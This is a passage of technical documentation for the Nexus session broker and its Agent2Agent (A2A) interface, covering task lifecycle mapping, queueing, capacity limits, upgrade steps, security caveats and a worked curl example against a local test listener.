output | replaces the accumulated text with what the output gates published |
status (thinking, tool_running, …) | keeps the task WORKING |
status (idle) | publishes the answer artifact, then COMPLETED |
hitl.request | INPUT_REQUIRED carrying the question, options included |
cancel.complete | CANCELED |
| the instance going away | FAILED naming the cause |
Three of those are worth stating outright, because they are the decisions a second reader would otherwise get wrong:
stream.enddoes not complete the task;status: idledoes. A turn can produce several model responses (each tool round is one), and the instance runs its output gates after the last of them. Completing at a stream end would publish the model’s draft rather than what Nexus decided to say.- The answer usually comes from the deltas, not from
output. Every shipped agent loop tags itsio.outputwithstreamed=true, andnexus.io.brokerdrops those — so on the ordinary streaming path the deltas are the only text the envelope carries. Anoutputpayload, when one does arrive, wins. - A payload the broker does not understand is ignored, never a task failure.
The envelope is shared with every other broker client, so an instance may
legitimately send something this ingress has no A2A meaning for — a tool
approval.requestis the live example — and an instance newer than the broker in front of it must keep working.
Because the frames a client sees must not depend on which Nexus deployment
answered, this mapping and the standalone nexus.io.a2a
plugin are both judged by the same conformance corpus (pkg/a2a/a2aconform).
The broker satisfies 5 of the corpus’s 9 vectors and skips 4, and the four are
skipped rather than faked. The IO envelope carries no tool results —
nexus.io.broker subscribes to neither tool.invoke nor tool.result, and its
payload has no field for either — so there is nothing broker-side to publish a
tool, file or artifact-budget vector from. That is a property of the transport,
not a gap in this effort, and it is the one place a broker-fronted agent is
genuinely less expressive than a standalone one: the same agent behind
nexus.io.a2a returns tool results and written files as artifacts; behind the
broker it returns only the turn’s answer. The corpus reports the skips by name
on every run, and a mapping that declared a feature it cannot produce would pass
a vector by lying about its transport. See
Plugin contracts for the wider pattern.
Reading tasks back (GetTask, ListTasks, SubscribeToTask)
A2A tasks outlive the call that created them, and on a broker they outlive far
more than that: the instance that ran a task is released when the conversation
goes quiet, and the broker process itself restarts. A client asks about a task
precisely when those things have happened, so the broker keeps a durable
record of every task in <state_dir>/a2a-tasks.jsonl — the same
append-and-compact file shape as the lease journal, so a state_dir holds one
kind of thing rather than two.
# What did that task end up doing?
curl -s https://broker.example/agents/support/a2a/v1/tasks/task-abc123 \
-H 'Authorization: Bearer <token>' | jq '.status.state, .artifacts[0]'
# What has this conversation been asked lately?
curl -s 'https://broker.example/agents/support/a2a/v1/tasks?contextId=ctx-42&pageSize=10' \
-H 'Authorization: Bearer <token>' | jq '.tasks[].id'
# Reattach to a task that is still running.
curl -sN -X POST https://broker.example/agents/support/a2a/v1/tasks/task-abc123:subscribe \
-H 'Authorization: Bearer <token>'
Four things about these three operations:
- They answer from the record, not from memory — even while the task is live. Every frame is persisted before it is delivered, so the record is never behind what a client has already been told, and there is one answer to the question rather than two that can differ.
- They are scoped to the authenticated caller and to the profile they were
addressed to, and a task outside that scope is indistinguishable from one
that never existed. Same error, same status, same body. A distinct “exists
but is not yours” answer would be an existence oracle for ids the caller was
never told — the same reasoning behind the broker’s single
unknown leaserefusal. Profile is part of the key for the same reason it is part of a conversation’s:ListTaskson the research agent lists research tasks, not the caller’s support conversations. SubscribeToTaskreattaches to a live task and receives exactly the frames every other attached stream receives, opening on the state it missed. A task that is already terminal gets its state and an immediate EOF rather than an open socket nothing will ever write to; a task still queued gets itsSUBMITTEDsnapshot and a stream that stays open until its turn runs.- A task left in flight by a stopped broker is settled at
FAILEDwhen the store reopens, with a status message saying so. A client pollingGetTaskgets an ending rather thanWORKINGfor ever.
With no state_dir the store is memory-only. All three operations still
answer, but only for tasks this process ran. That is the same bargain such a
broker has already made for its leases.
Retention is a real policy and is configurable — a2a.tasks.ttl (default 24h)
and a2a.tasks.max_per_context (default 50), plus a fixed global ceiling and a
16 KiB cap on stored text. A turn’s streamed output is never truncated; only
the stored copy is, and it says so when it happens. The numbers and the reasoning
behind each are in the
configuration reference.
Two messages on one conversation queue
A Nexus instance runs one agent loop. Send it two inputs while a turn is in flight and you do not get two turns — you get one turn with both messages mixed into it. So the broker will not do that: a conversation runs one task at a time.
A second message on a contextId whose task is still live is accepted and
queued. Its task sits in TASK_STATE_SUBMITTED — the specification’s own word
for “accepted, not yet started” — with nothing sent to any instance, until the
task ahead of it is terminal. Then it moves to TASK_STATE_WORKING and runs. A
queued task is a complete task the whole time: readable with GetTask,
streamable with SubscribeToTask, cancellable with CancelTask.
The queue is per (caller, profile, contextId), so two conversations never
wait on each other, and it advances on exactly one event: a task reaching a
terminal state. That is what makes it robust rather than fragile —
- the instance crashing or being idle-released fails the active task, which promotes the next one, which acquires a fresh instance and carries the conversation on from its session — unless the turn had already answered, in which case it completes with its answer, because a teardown waits for the broker to finish reading the instance’s socket before it settles anything (see below);
- cancelling a queued task removes it and disturbs nothing;
- a queued turn is detached from the request that submitted it, so a client that hangs up has not withdrawn its message.
The one case that needs a deadline is a question nobody answers. A task at
TASK_STATE_INPUT_REQUIRED keeps the queue on purpose: the agent loop is blocked
inside ask_user, so starting the next turn would send input to an instance that
cannot read it. a2a.tasks.input_timeout (default 15m, "0s" disables) is
what stops that being a deadlock — on expiry the task is driven to FAILED,
every attached stream closes, the instance is told to cancel the turn, and the
queue moves. Fifteen minutes is chosen against a human: a question routed to a
person has to survive being paged, read, thought about and answered.
Capacity and queueing
max_concurrent caps live instances. Each claim acquires a slot before
spawning, so the live count can never exceed the cap. When the cap is full a
claim does not fail immediately — it parks in a FIFO wait queue bounded by
queue_wait_timeout. The moment a slot frees (release, idle, or crash) it is
handed to the oldest waiter. Set queue_wait_timeout to 0 to disable waiting
(at-capacity claims are rejected immediately with 503 no capacity); set
max_concurrent to 0 for unlimited instances.
What max_concurrent does not bound
max_concurrent is a headcount, not a resource budget. It counts live
instances; it says nothing about what those instances hold. An instance parked on
a 200k-token context, with a vector store warmed and half a dozen MCP servers
dialled, counts exactly one — the same as an instance that booted a second
ago and has done nothing. So max_concurrent: 8 bounds the number of nexus
processes and not the memory, CPU or disk those eight can consume between them.
There is deliberately no per-lease memory limit in the broker. Adding one
would mean the broker policing a process it has already handed a shell and a full
engine config to, which is advisory at best. Per-lease resource limits belong to
the deployment: a systemd slice or MemoryMax= per instance, a cgroup, or one
container per instance. Size max_concurrent so that max_concurrent × the
per-instance limit fits the host, and let the OS enforce the second factor.
The other bound worth naming: max_concurrent is global, not per
registry entry. One
variant can fill it for every other. The only per-caller ceilings are the
optional per-principal caps, and they need
auth: to have any effect.
The queue itself is bounded
max_concurrent bounds live instances; max_queue_depth (default 64) bounds
the claims waiting behind them. Every parked waiter costs a goroutine, a timer
and an open HTTP connection for up to queue_wait_timeout, so an unbounded queue
is an unbounded resource commitment. A claim that arrives when the queue is
already this deep is refused immediately — never parked, so it costs none of
the three — with 503 {"error":"capacity queue full"}.
That is a third distinct message, and the distinction is the point: reading
claim failed log lines, an operator can tell the three apart without
correlating timings.
| Message | What actually happened |
|---|---|
no capacity | The cap is full and waiting is switched off (queue_wait_timeout <= 0). |
capacity wait timed out | This claim waited its full queue_wait_timeout and gave up. |
capacity queue full | This claim was never allowed to wait — the queue was at max_queue_depth. |
Set max_queue_depth to 0 for an unlimited queue.
Per-principal caps (needs auth:)
Two optional keys bound what one authenticated principal may hold:
max_leases_per_principal— live leases. Over quota answers429 {"error":"lease limit reached for this principal"}.max_queued_per_principal— claims parked in the capacity queue. Over quota answers429 {"error":"queued claim limit reached for this principal"}.
429, not 503: these are quota answers about the caller, not statements
about the broker, which may have slots to spare. Both are checked before a
capacity slot is taken and before the claim is queued, so an over-quota caller is
refused instantly rather than parked only to be refused later, and neither can
leak a slot. Both default to 0, meaning off — a per-tenant quota is a policy
only the operator can size.
max_queued_per_principal is what stops one caller looping on POST /claim from
occupying the whole queue and timing every other tenant’s single claim out behind
it. It does not reorder anything: the queue stays strictly FIFO across all
principals, and per-principal fair queueing is out of scope. It bounds how much
of the queue one caller may hold.
Both keys are inert unless
auth:is configured, and never apply to the anonymous principal. With noauth:block every lease is owned by the same anonymous identity, so a per-principal cap applied there would count the whole broker against one principal and silently become a second, lowermax_concurrent. A broker with noauth:block therefore behaves exactly as it did before these keys existed, whatever they are set to. The same exemption covers a claim that reaches the broker with no principal on a broker that does configure auth.
Leases restored by restart recovery bypass the per-principal
caps for the same reason they bypass max_concurrent: the process is already
running, and refusing it would hide it rather than stop it. A principal over its
cap after a restart is simply admitted no new leases until it drains back under.
Idle reaping
If a lease sits for idle_timeout with no turn in flight and no client
activity, the broker releases it through the same teardown path as
POST /release (so the session is persisted), recording the terminal reason
idle. Set idle_timeout to 0 to disable reaping.
Two things reset the idle timer: an inbound io input frame (client →
instance), and the moment the instance reports its turn finished. Output
produced mid-turn, pings and control frames do not.
A turn in flight is never reaped
idle_timeout measures the human pause, not the turn. A lease whose
instance is working is exempt from it however long ago its client last typed, so
a ten-minute autonomous turn is no longer indistinguishable from an abandoned
session.
The broker learns this from the instance’s own io.status frames, which it
already relays to the client and now also reads on the way past:
io.status state | Meaning for the lease |
|---|---|
thinking, tool_running, streaming, waiting, cancelling | a turn is live — exempt from idle_timeout |
idle | the turn has settled — the idle clock restarts from here |
| anything else | ignored — liveness is left exactly as it was |
Unknown states (and any payload the broker cannot decode) are ignored rather than treated as either signal, so an instance newer than the broker in front of it keeps working and its frames still reach the client untouched.
Settling a turn restarts the idle clock rather than leaving it where the user’s
input left it. Without that, a turn that ran longer than idle_timeout would be
reapable the instant it finished — the answer torn down before the user could
read it.
max_turn_duration bounds the exemption
The exemption above is unbounded on its own: an instance that wedges mid-turn,
or whose tool never returns, never reports idle and would hold its lease — and
its max_concurrent slot — forever. max_turn_duration (default 30m) is the
backstop. A turn that outlives it is torn down through the ordinary release
path, with the terminal reason turn timeout rather than idle, so an
operator reading the journal can tell “nobody was here” from “killed mid-work”.
The clock starts at the first work state after a settled period and is not
refreshed by later status frames, so it measures the whole turn. Set it to 0
to disable the bound. It is enforced by the same sweeper as idle_timeout, so
idle_timeout: 0 switches both off.
Size max_turn_duration above the longest turn this deployment legitimately
runs: a lease reaped as turn timeout had work in progress. Note that a turn
parked on a human — a plan awaiting approval, an ask_user question — counts as
live, so it is bounded by this key rather than by idle_timeout.
Between them these are the only policies that release a lease for inactivity. The liveness probe described under Detecting a dead socket does not: it detaches sockets that have stopped answering at the transport level and never touches a peer that is merely quiet, and conflating the two would reap healthy sessions.
This applies to A2A instances too, and it is
what makes them affordable: every message the A2A ingress sends counts as client
input, so an active conversation is never reaped, and a conversation nobody is
having stops costing a process. The next message on that contextId re-spawns
the instance with -recall, so the client sees continuity rather than a
released session.
Upgrading an existing broker
Two changes are breaking for a deployment that predates them. Both are
deliberate, neither has a compatibility flag, and each has one concrete
broker.yaml edit.
1. Instance binaries predating the spawn-secret protocol no longer register
Enforcement of the instance dial-back secret
used to be gated on having an auth: block. It is now unconditional: every
register frame must carry the per-spawn secret, on every broker, restored
lease or fresh, authenticated or not. Removing auth: is no longer a
workaround — it never made anything safer, it only switched this check off, and
that was the hole.
Symptom. The claim hangs and then fails with
504 {"error":"instance did not become ready in time"}, while the child process
is alive and connecting fine. The refusal is byte-identical on the wire to the
other three (unknown lease, wrong secret, version skew), on purpose — telling
them apart would let a dialer enumerate live lease ids.
Diagnosis. The broker’s WARN. A pre-protocol binary produces
its register frame carried NO spawn secret; the
table of causes names the rest. A 504 with
no such record means the instance is simply still booting — raise
ready_timeout
instead.
The edit. Point the registry entry at an upgraded nexus build. The check is
per spawn, so one stale variant fails while the rest of the registry keeps
working:
binaries:
nexus:
path: /usr/local/bin/nexus # rebuilt from this release — fine
archive:
path: /opt/nexus-0.9/bin/nexus # pre-protocol — every claim naming it 504s
binaries: is reloadable, so once
the new binary is on disk a SIGHUP is enough: no restart, and no lease lost to
one.
2. Instances no longer inherit the broker’s environment
A spawn used to take the broker’s whole environment. It now carries only the
always-pass set (HOME, LANG, PATH, TZ), the three broker-owned
NEXUS_BROKER_* variables, whatever inherit_env names, and its entry’s env —
see What environment an instance is given
for why.
Symptom. An instance whose config expects to read a credential from the environment fails to reach its provider on the first turn. The claim itself succeeds.
Diagnosis. The per-entry binary registry entry boot line lists
spawn_env=… — every name that entry’s spawns will carry, values never included.
A name you expected and do not see was never passed; a name you declared in
inherit_env that the broker does not itself hold gets its own startup WARN.
The edit. Put each variable your instances rely on in one of two places —
inherit_env when the value lives in the broker’s environment (injected by
systemd, Kubernetes or a secrets agent), or the entry’s env when the value is a
property of that variant:
# before — worked only because the broker's whole environment was inherited
binaries:
nexus:
path: /usr/local/bin/nexus
# after
inherit_env: # names only; the values come from the broker's env
- ANTHROPIC_API_KEY
- OPENAI_API_KEY
binaries:
nexus:
path: /usr/local/bin/nexus
vision:
path: /opt/builds/nexus-vision
env: # set outright — a property of this variant
NEXUS_VISION: "1"
A claim’s config can still carry a credential inline, in which case neither key
is involved.
inherit_env: ["*"] is not supported. A wildcard would restore exactly the
exfiltration primitive the change closes, and because the caller picks the
variable name in its own config, “allow just the harmless ones” is not a line
anybody can draw.
inherit_env is also reloadable; it
applies to the next spawn.
One thing that is not breaking, but is a behaviour change
Every instance now leads its own process group, so a Ctrl-C in the broker’s
terminal signals the broker’s group and no longer kills the instances with it.
That is intentional — it is what lets a restarted broker
adopt the survivors — but a foreground broker in
a development shell will now leave instances running behind it. Release them, or
let idle_timeout do it.
v1 caveats
The session broker is a v1. Understand these boundaries before deploying it:
- Identity is verified, but authorization is thin. With an
auth:block configured the broker validates a credential on every client-facing route, stamps the resulting principal on each lease as its owner, refuses release / connect / ticket-mint to anyone else, and scopesGET /leasesto the caller unless it holdsauth.admin_scope. What it does not do:- It verifies identity; it never issues it. There is no login, no user store, no token endpoint. Credentials come from a static table you write, or from your own identity provider, or from a proxy you already trust. The one credential the broker mints is a WebSocket ticket, which is a lease-scoped capability, not an identity.
- Authorization is lease ownership plus one read-only admin scope. No roles
and no policy engine. The only per-tenant enforcement is the pair of
admission caps described under
Per-principal caps, which key off the
principal id;
tenantis carried on the principal and recorded, but nothing enforces it. - No mTLS, and no TLS at all. The broker speaks plain HTTP on
listen_addr; terminate TLS at a proxy and setadvertise_addrto thewss://address clients use. Client certificates are not a supported credential. Anadvertise_addrpromisingwss://orhttps://while the broker serves cleartext is a bootWARN, not a refusal — the TLS-terminating-proxy deployment is exactly that shape, and the broker cannot tell it from a mistake. - No per-tenant rate limiting.
max_concurrentis a global cap and not a per-binary one, so one variant can still fill it for everybody. There ARE optional per-principal caps on live leases and queued claims (max_leases_per_principal,max_queued_per_principal), but they are off by default, they needauth:to have any effect, and they are admission caps rather than a rate limit — nothing bounds how often a caller may claim and release. Nor is the binary registry part of the access-control surface: any caller allowed to claim may name any registered entry. - No OS-level sandboxing of instances, either — access control decides who may claim, never what a claimed process can do to the host (see Trust boundaries and the last caveat below).
- With no
auth:block, none of the above is enforced at all: any client that can reach the broker can claim, connect to, and release any instance. The broker logs oneWARNat boot saying so. The one thing that block never governed is the instance dial-back, which always requires its per-spawn secret.
- Single broker, single host. Restart-reattach works; genuine clustering does
not. There is no shared lease registry, no cross-broker
GET /leases, and no routing of a request to the broker that owns the lease. Withstate_dirunset, a broker restart orphans running instances and loses all lease tracking — the orphanednexusprocesses must be cleaned up manually. Withstate_dirset, a restart no longer orphans them: the broker replays its journal, drops the leases whose process is gone, restores the rest with their owners and capacity slots, and the surviving instances reattach on their own reconnect backoff — reaped afterreattach_windowif they do not (see Surviving a restart). Recovery is strictly single-broker: it only ever reclaims leases stamped with this broker’sbroker_id. Running several brokers behind one load balancer does not work as a cluster: a lease lives on exactly one process, so each broker must be individually addressable viaadvertise_addr, clients must reconnect to the URL the claim returned rather than to the LB, and each broker needs its ownstate_dir— they never read each other’s. - The session → binary check is advisory. A resume is reconciled against the
variant recorded for that session, but the recording is best-effort: a broker
with no
state_dirkeeps nothing, the index is capped at 4096 bindings, and sessions created before the feature (or by another broker) have none. An unrecorded session resumes unchecked, so do not treat the409as a guarantee. - A2A conversation continuity is bounded, and the bound is lossy by design.
The
contextId→ session index holds at most 4096 bindings and drops the oldest first; a broker with nostate_dirkeeps none across a restart. An evicted binding reads back as unknown, so the next message on that conversation starts a fresh session with no history and nothing tells the client — see One conversation, one instance. The failure is always forgetting, never answering from the wrong session. - A2A task history is bounded, and the bound is lossy by design. The task store keeps 24 hours of finished tasks, 50 per conversation, 2048 in total, and 16 KiB of text per artifact or message — see Reading tasks back. A task evicted by any of those reads back as unknown, which is indistinguishable from an id that never existed, and a long answer reads back truncated (marked as such). Nothing warns a client that this happened. If you need a durable transcript, take one from the engine session rather than from the broker’s task record, which is a read-back convenience and not an archive.
- A broker-fronted agent publishes fewer artifacts than a standalone one. The
instance IO envelope carries no tool results, so a turn’s tool output and the
files it wrote do not become A2A artifacts here — only the turn’s answer
does. The same agent served directly by
nexus.io.a2areturns all three. This is measured rather than asserted: the shared conformance corpus records the broker mapping at 5 of 9 vectors, 4 skipped, and names the skips on every run. - Cold-spawn per claim. There is no pre-warm pool, so each claim pays full
engine boot latency before the instance signals ready.
ready_timeout(default30s) is the ceiling on that boot, and a config that pulls a long model list, warms a vector store or dials several MCP servers can legitimately need more. max_concurrentis a headcount, not a resource budget. It counts live instances and bounds nothing about what they hold — an instance pinning a 200k-token context counts the same as an idle one — and it is global rather than per registry entry. Per-lease memory and CPU limits are the deployment’s job (systemd slice, cgroup, container). This was left out of the broker deliberately; see Whatmax_concurrentdoes not bound.- A broker is not a security boundary between mutually untrusting callers.
Instances are separate processes, but by default they run as the broker’s own
uid with the broker’s
HOME, so any claimant can read every other tenant’s~/.nexus/sessions/and the<state_dir>/spawn-keythat derives every live lease’s dial-back secret. Scrubbing the spawn environment closed a real exfiltration hole; it did not close this one.run_asseparates instances by OS user and nothing more — no filesystem sandbox, no network restriction, no CPU or memory cap, no separation between two instances of the same entry, no protection from the caller who claimed it — and it needs a privileged broker (root, orCAP_SETUIDandCAP_SETGID, even when it names the broker’s own uid). Deploy one broker per trust domain, or setrun_as; see Trust boundaries.
See also
nexus.io.brokerplugin — the dial-back transport inside each instance.- Configuration Reference — authoritative broker + plugin config keys.
- Authentication (
auth:) — every validator key, default and validation rule, plus the per-route status mapping and the audit-record shape. - A2A — the protocol the
agents:block speaks, and the standalone serving plugin the broker’s cards are modelled on. - Sessions — on-disk session layout and
-recall.
Agent2Agent (A2A) Interoperability
A2A is an open protocol for agent-to-agent communication. It is built around three objects: a Task (one unit of work, moving through a lifecycle), a Message (composed of Parts), and an Artifact (task output). An agent publishes an Agent Card at a well-known URL so a client can discover what it does and how to authenticate to it.
Nexus speaks A2A in both directions, through five pieces:
| Piece | What it is |
|---|---|
pkg/a2a | A hand-rolled, dependency-free A2A codec: the data model, both HTTP bindings, the SSE transport, the Agent Card types, and the protocol error model. No third-party A2A SDK. |
pkg/a2a/a2aclient | The client on top of that codec: Agent Card resolution, SendMessage, streaming, resume, GetTask, CancelTask, with the timeout and retry policy that talking to a remote over HTTP requires. |
nexus.io.a2a | Standalone serve: one HTTP listener that exposes a running Nexus instance as an A2A agent. One process, one conversation. |
cmd/nexus-broker | Broker-fronted serve: one ingress publishing several agents, each spawning an OS-isolated instance per conversation. Many conversations, one URL. |
nexus.agent.a2a_remote | The outbound transport: one delegate_a2a_<name> tool per configured remote, letting a Nexus agent call other A2A agents. |
Two ways to serve, and the choice is the first one to make. Standalone serve
is one process bound to one conversation for its lifetime — right for an agent
embedded in something else, or for a single long-running assistant. Broker-fronted
serve is a gateway that starts and stops instances on demand, keyed by
contextId — right for serving many callers behind one address. They speak the
same protocol and publish the same shape of card; where they differ is set out in
What works today and, in operational detail, in the
session broker guide.
This guide covers the mapping between the two protocols and how a client drives a Nexus turn end to end. For every configuration key, its type and its default, the Configuration Reference is canonical.
Targeted spec version: 1.0.x
Nexus targets A2A specification 1.0.x and nothing else. pkg/a2a exposes
this as constants:
a2a.ProtocolVersion // "1.0" — the Major.Minor value on the wire
a2a.SpecVersion // the spec revision + fetch date the codec was written against
0.3.x is not supported. 1.0 was a breaking revision, and two of its changes mean a 0.3 client cannot be served by a 1.0 codec even accidentally:
- JSON-RPC method names are PascalCase operation names (
SendMessage,GetTask), not the 0.3-era dotted forms (message/send,tasks/get). Partis flattened. There are no separateTextPart/FilePart/DataParttypes; aPartis one object with a content oneof (text,raw,url,data) plusmediaType,filenameandmetadata.
An explicit A2A-Version: 0.3 is refused with VersionNotSupportedError. An
absent A2A-Version is read as 1.0 by default rather than the literal
§3.6.2 fallback of 0.3 — see A2A version
negotiation for the
reasoning and the strict_version_header opt-out.
The mapping: contextId is a session, a Task is a turn
| A2A | Nexus |
|---|---|
contextId | A session (~/.nexus/sessions/<id>/) — one conversation with one memory.history buffer. |
Task | One turn: one io.input, the agent loop it drives, and the answer it produces. |
| Task lifecycle | SUBMITTED on accept → WORKING at agent.turn.start → COMPLETED at agent.turn.end, or FAILED. |
Message.parts (text) | The turn’s prompt, emitted as before:io.input (vetoable) then io.input. |
Artifact with a text Part | The turn’s final assistant text, taken from io.output so output gates have had their say. |
Artifact with an application/json Part | The same text when it is a JSON document — structured output as a document, not a string. |
Artifact per tool result | Every tool.result, unconditionally. |
Artifact per written file | A path a tool.result reported writing, with the bytes inline as base64. |
TaskStatusUpdateEvent.metadata under the Nexus extension URI | thinking.step, tool.invoke, subagent.* and per-call token usage — only for clients that opted in. |
| Agent Card | Hand-authored config, with interfaces/capabilities/security derived from the live listener. |
A multi-turn conversation is therefore N Tasks sharing one contextId, not
one long-lived Task. That is the mapping to hold in mind when reading the rest
of this page: nothing accumulates inside a Task, because a Task is over the
moment the turn is.
sequenceDiagram
autonumber
participant C as A2A client
participant P as nexus.io.a2a
participant B as Nexus event bus
participant A as Agent loop
C->>P: SendStreamingMessage (contextId, parts)
P-->>C: Task TASK_STATE_SUBMITTED
P->>B: before:io.input (vetoable), then io.input
B->>A: agent.turn.start
P-->>C: statusUpdate TASK_STATE_WORKING
A->>B: tool.invoke / tool.result
P-->>C: artifactUpdate (tool result)
P-->>C: statusUpdate WORKING + nexus extension metadata (opt-in only)
A->>B: llm.response / io.output
B->>A: agent.turn.end
P-->>C: artifactUpdate (final text)
P-->>C: statusUpdate TASK_STATE_COMPLETED
Note over C,P: terminal state closes the SSE stream
One process serves exactly one context
This is the constraint that shapes everything about the standalone serve transport, so it is worth stating plainly rather than discovering from an error message.
A Nexus process owns exactly one session, fixed at boot. It has one
memory.history buffer, one session workspace on disk, one set of plugin data
directories. There is no bus event that starts a second session inside a running
process, and no event that resets history — adding one would be a cross-cutting
change to every memory plugin, not a transport concern.
So nexus.io.a2a binds its process to one A2A context:
- The first call claims the session. A client that names no
contextIdis assigned the Nexus session id and gets it back on the Task, so it has something stable to keep using. A client that names one has that name recorded. - Later calls naming the same context continue it. History is intact for
free, because
memory.historyalready persists across turns within a session. - A different
contextIdis refused withUnsupportedOperationError, and the refusal names the context the process is bound to.
Refusing is the deliberate choice. The alternative — accepting the new
contextId — would hand the caller a conversation already carrying another
context’s history while calling it new. A client cannot detect that, and the
model would answer the second caller’s question with the first caller’s context
in its prompt. An error a client can read and route around is strictly better
than a confident wrong answer.
The refusal is machine-readable, carrying both a stable detail token and the
context that is served:
{"error":{"code":400,"status":"FAILED_PRECONDITION",
"message":"context \"other\" is not served by this agent: it is bound to context \"demo\" for the life of its Nexus session, so run one instance per context",
"details":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo",
"domain":"a2a-protocol.org","reason":"UNSUPPORTED_OPERATION",
"metadata":{"contextId":"demo","detail":"CONTEXT_NOT_SERVED"}}]}}
For the same reason, one task runs at a time. A SendMessage arriving while
another task is genuinely in flight is refused with
UnsupportedOperationError (detail: TASK_ALREADY_IN_FLIGHT): the listener
fronts one agent loop, and two turns would interleave on the same bus and
corrupt both conversations. A sequential send is a different thing entirely
and is never refused — see A terminal response means the slot is already
back below.
Multi-context A2A is the session broker’s job, and it works today. One
process per context is exactly the shape the
session broker automates: an
unknown contextId cold-spawns an OS-isolated nexus instance, a known one is
routed to the instance already serving it, and one whose instance has been
released re-spawns it with -recall so the conversation carries on. The client
sends nothing but A2A and is never told a lease exists.
So the single-context rule above is a property of this plugin, not of Nexus: a deployment serving many concurrent conversations puts the broker in front rather than running one listener per context and routing to them itself.
A terminal response means the slot is already back
“In flight” means concurrent, never merely recent. A client that has
received a terminal response may immediately send again on the same
contextId. The in-flight slot is released before the response reporting the
terminal state is written, on both response paths:
- a blocking
SendMessagedoes not write the finished Task until the turn that produced it has returned the slot; - a
SendStreamingMessagedoes not end its response on §11.7’s terminal-frame stream close until the same is true.
That is a documented contract, not an incidental ordering. It is worth
naming because the failure it prevents is invisible from the client side. The
terminal frame reaches the response writer over a buffered channel, so a
listener can be answering COMPLETED on one goroutine while another is still a
step short of returning the slot. While that window existed, the most obvious
client loop there is — send, await the terminal Task, send again — was refused
against the slot of the turn it had just watched finish. The refusal named no
wait and carried no retry guidance, and it only appeared on a loaded machine, so
it read as flakiness rather than as a rule (issue #153).
plugins/io/a2a/slot_test.go now pins the ordering deterministically, so a
refactor that reintroduces the window fails a test instead of a client.
Which is also why TASK_ALREADY_IN_FLIGHT is not a retry-with-backoff
condition. There is no settling window to wait out. A client sending
sequentially that sees this refusal has found a bug in the listener, not a state
it should absorb; treating it as transient noise would hide exactly the defect
the guarantee exists to make visible.
The one exception is a parked task. INPUT_REQUIRED is not a terminal state
— §11.7’s stream-close rule keys off terminal states and this is not one — and a
task parked there deliberately keeps holding the slot, because the human’s answer
resumes that turn rather than starting a second one. So a blocking
SendMessage that returns a parked Task looks like an ending but has not freed
the listener, and the next thing to send is the answer — carrying the same
taskId — not a new request. Waiting for such a task to settle before
reporting it would be worse than useless: it would withhold the question until
tasks.input_timeout killed it. See Human-in-the-loop: INPUT_REQUIRED and
back.
Which refusal you get, and why the difference matters
The two refusals above share one error type and one JSON-RPC code, so what a
client branches on is the token in metadata.detail. They say opposite things
about whether trying again could ever work:
detail | What it means | What a client should do |
|---|---|---|
CONTEXT_NOT_SERVED | This process is bound to a different conversation, for the life of its Nexus session | Permanent. Dial a different instance — no amount of waiting makes this one serve a second context, and the session broker automates the dialling |
TASK_ALREADY_IN_FLIGHT | Your context is the right one; a turn on it has not finished | Transient. The turn will end. If you were sending sequentially you should never see this at all |
Because those two demand different responses, the contextId is resolved
before the in-flight slot is checked, so a refusal always names the client’s
own mistake rather than whichever condition happened to be tested first.
Checking the slot first told a client presenting a genuinely foreign context
that a task was already in flight — a transient-sounding reason for a permanent
problem, which points the caller at a retry loop that can never succeed.
A refused request also leaves no binding behind: an unbound listener is claimed by the first turn that is accepted, not by the first that asks. A request refused for concurrency cannot capture this process’s only conversation on its way out.
Worked example
configs/test-a2a-serve.yaml ships a complete, credentialed listener with
mocked LLM responses, so this runs with no API key.
make build
bin/nexus -config configs/test-a2a-serve.yaml
That config drives the engine with
nexus.io.test, whosetimeout: 20sends the session — and the process — twenty seconds after boot. Raise that value if you want a longer window to poke at the endpoint by hand.
It binds 127.0.0.1:18191 (the default for a real deployment is
127.0.0.1:8091) and guards operations with the bearer token
test-a2a-token.
1. Fetch the Agent Card
Discovery is unauthenticated by default — a client fetches the card precisely to learn which credentials to obtain, so gating it behind those credentials would be circular.
curl -s localhost:18191/.well-known/agent-card.json
{
"name": "nexus-test-agent",
"description": "A Nexus harness exposed over A2A for interop testing.",
"supportedInterfaces": [
{ "url": "http://127.0.0.1:18191/a2a", "protocolBinding": "JSONRPC", "protocolVersion": "1.0" },
{ "url": "http://127.0.0.1:18191/a2a/v1", "protocolBinding": "HTTP+JSON", "protocolVersion": "1.0" }
],
"version": "0.1.0",
"capabilities": { "streaming": true, "pushNotifications": false, "extendedAgentCard": false },
"securitySchemes": {
"static": { "httpAuthSecurityScheme": {
"description": "Shared bearer token issued out-of-band by the operator of this agent.",
"scheme": "Bearer" } }
},
"securityRequirements": [ { "schemes": { "static": {} } } ],
"defaultInputModes": ["text/plain"],
"defaultOutputModes": ["text/plain"],
"skills": [ { "id": "chat", "name": "Conversational turn", "…": "…" } ]
}
Read three things off it. supportedInterfaces names both bindings and their
URLs. capabilities is derived from the operations the plugin actually
implements, so it never overstates. securitySchemes is derived from the
configured validator chain, so what you are told to present is what is enforced.
2. Send a message and stream the task
SendStreamingMessage over the JSON-RPC binding:
curl -sN localhost:18191/a2a \
-H 'Authorization: Bearer test-a2a-token' \
-H 'A2A-Version: 1.0' \
-H 'Content-Type: application/a2a+json' \
-d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":
{"message":{"messageId":"m1","role":"ROLE_USER",
"parts":[{"text":"hello"}],"contextId":"demo"}}}'
The response is text/event-stream. Each record’s data: payload is a full
JSON-RPC response envelope repeating the request id, whose result is one
StreamResponse (task ids shortened here for readability):
data: {"jsonrpc":"2.0","id":1,"result":{"task":{"id":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_SUBMITTED","timestamp":"2026-08-18T16:05:23.766Z"}}}}
data: {"jsonrpc":"2.0","id":1,"result":{"statusUpdate":{"taskId":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_WORKING","timestamp":"2026-08-18T16:05:23.767Z"}}}}
data: {"jsonrpc":"2.0","id":1,"result":{"artifactUpdate":{"taskId":"task-0e42cb…","contextId":"demo","artifact":{"artifactId":"task-0e42cb…-response","name":"response","parts":[{"text":"Hello from a mocked Nexus agent."}]},"lastChunk":true}}}
data: {"jsonrpc":"2.0","id":1,"result":{"statusUpdate":{"taskId":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T16:05:23.768Z"}}}}
Four frames, in a fixed order:
- The opening Task in
TASK_STATE_SUBMITTED. A2A requires a stream to open with a Task or a Message, and no update event may name a task that does not exist yet. - A status update to
TASK_STATE_WORKING, written when the agent turn starts. - An artifact update carrying the final assistant text as a text Part. A
turn that called tools would interleave one artifact update per tool result
before this one, and a client that opted into the Nexus extension would see
